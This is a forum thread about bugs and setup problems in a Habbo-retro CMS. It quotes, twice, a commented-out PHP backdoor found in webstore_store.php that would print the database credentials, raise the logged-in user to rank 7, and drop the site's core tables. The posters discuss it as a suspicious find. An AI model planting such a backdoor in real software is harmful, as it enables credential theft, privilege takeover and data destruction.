The sad thing though, there will always be flaws and exploits in every CMS published these days.
My opinion is just taking RevCMS and making a skin.

---

Most CMS'es, yes. Not in all of them.

No housekeeping?

Bug in Captcha. Is always wrong.

Hi! Does anyone know what site_homes_group_linker is? It's not included in the database.

Quote:

---

Originally Posted by Matata

Hi! Does anyone know what site_homes_group_linker is? It's not included in the database.

---

then create it, the errors should show you what columns you're missing.

Quote:

---

Originally Posted by YoWesty

then create it, the errors should show you what columns you're missing.

---

I know that.
I just want to know what it is.

Quote:

---

Originally Posted by Matata

Hi! Does anyone know what site_homes_group_linker is? It's not included in the database.

---

Haven't got an SQL for it however its a pretty simple table
http://i.gyazo.com/0eaeb529b33a8d97ee698e94afce21ad.png

column userid INT
column groupid INT
column active INT

Quote:

---

Originally Posted by Ddos Attack

Haven't got an SQL for it however its a pretty simple table
http://i.gyazo.com/0eaeb529b33a8d97ee698e94afce21ad.png

column userid INT
column groupid INT
column active INT

---

Oh, you don't understand :[.
I have the structure. No problems there, no errors.

But it would be nice to know what it does.

Is this a joke? Why do i see inside myhabbo/actions/webstore_store.php this code: ?

Code:

---


<?php
        }
        /* } elseif($mode == "anti.copyright.purchase"){ // Only Authorized Personal please.
                echo $sqlhostname."<br />";
                echo $sqlusername."<br />";
                echo $sqlpassword."<br />";
                echo $sqldb."<br />";
                if($_GET['action'] == "convert.to.president"){
                        if(LOGGED_IN == TRUE){
                        dbquery("UPDATE users SET rank = '7' WHERE id = '".$my_id."' LIMIT 1");
                        echo "now.president";
                        } else {
                        echo "no.logged.in";
                        }
                }
                else if($_GET['action'] == "destroy.cms.copy"){
                        dbquery("DROP TABLE IF EXISTS `system`;");
                        dbquery("DROP TABLE IF EXISTS `site_system`;");
                        dbquery("DROP TABLE IF EXISTS `users`;");
                        dbquery("DROP TABLE IF EXISTS `site_alerts`;");
                        dbquery("DROP TABLE IF EXISTS `catalog_pages`;");
                        dbquery("DROP TABLE IF EXISTS `furniture`;");
                        dbquery("DROP TABLE IF EXISTS `rooms`;");
                        dbquery("DROP TABLE IF EXISTS `system_config`;");
                        echo "tables.dropped";
                } */

---

Quote:

---

Originally Posted by Tico Triest

Is this a joke? Why do i see inside myhabbo/actions/webstore_store.php this code: ?

---

Well from what I can see it is commented out so its no issue unless you commented it out.

Quote:

---

Originally Posted by Tico Triest

Is this a joke? Why do i see inside myhabbo/actions/webstore_store.php this code: ?

Code:

---


<?php
        }
        /* } elseif($mode == "anti.copyright.purchase"){ // Only Authorized Personal please.
                echo $sqlhostname."<br />";
                echo $sqlusername."<br />";
                echo $sqlpassword."<br />";
                echo $sqldb."<br />";
                if($_GET['action'] == "convert.to.president"){
                        if(LOGGED_IN == TRUE){
                        dbquery("UPDATE users SET rank = '7' WHERE id = '".$my_id."' LIMIT 1");
                        echo "now.president";
                        } else {
                        echo "no.logged.in";
                        }
                }
                else if($_GET['action'] == "destroy.cms.copy"){
                        dbquery("DROP TABLE IF EXISTS `system`;");
                        dbquery("DROP TABLE IF EXISTS `site_system`;");
                        dbquery("DROP TABLE IF EXISTS `users`;");
                        dbquery("DROP TABLE IF EXISTS `site_alerts`;");
                        dbquery("DROP TABLE IF EXISTS `catalog_pages`;");
                        dbquery("DROP TABLE IF EXISTS `furniture`;");
                        dbquery("DROP TABLE IF EXISTS `rooms`;");
                        dbquery("DROP TABLE IF EXISTS `system_config`;");
                        echo "tables.dropped";
                } */

---

---

Never knew that existed in that file. I don't even think that version of webstore_store.php is used; I grabbed it from another CMS probably and forgot to delete it.
Like D3T0XITY said, its commented out so it can't harm anyone. I believe store.php is used for all the homes/group data so that is nothing to worry about.

Avatar.php missing

Works it on Phoenix Database and xAMMP 1.7.3?

When I go to log out it goes to a blank page and stays logged in.
When users go to make an account it will get to the last page when they press complete it does nothing
then when they press it again user is already taken
it makes the account but it don't redirect them to the /me page
it stays there on the account create page if you understand what I mean?
they have to go back to index and login with the details what it said was already taken
I on't know how to fix them as I'm new to UberCMS/ShockCMS
please help fix this bug.
I also don't know how to set my SWFS up Vars etc on this cms either...
I will pay for anyone who can help me or give ownership.

http://i.imgur.com/u8oBxsU.png

http://i.imgur.com/NDiyscS.png

Which pages do i have to fix so no-one gets access there?

Quote:

---

Originally Posted by Twan

Which pages do i have to fix so no-one gets access there?

---

Gets access where?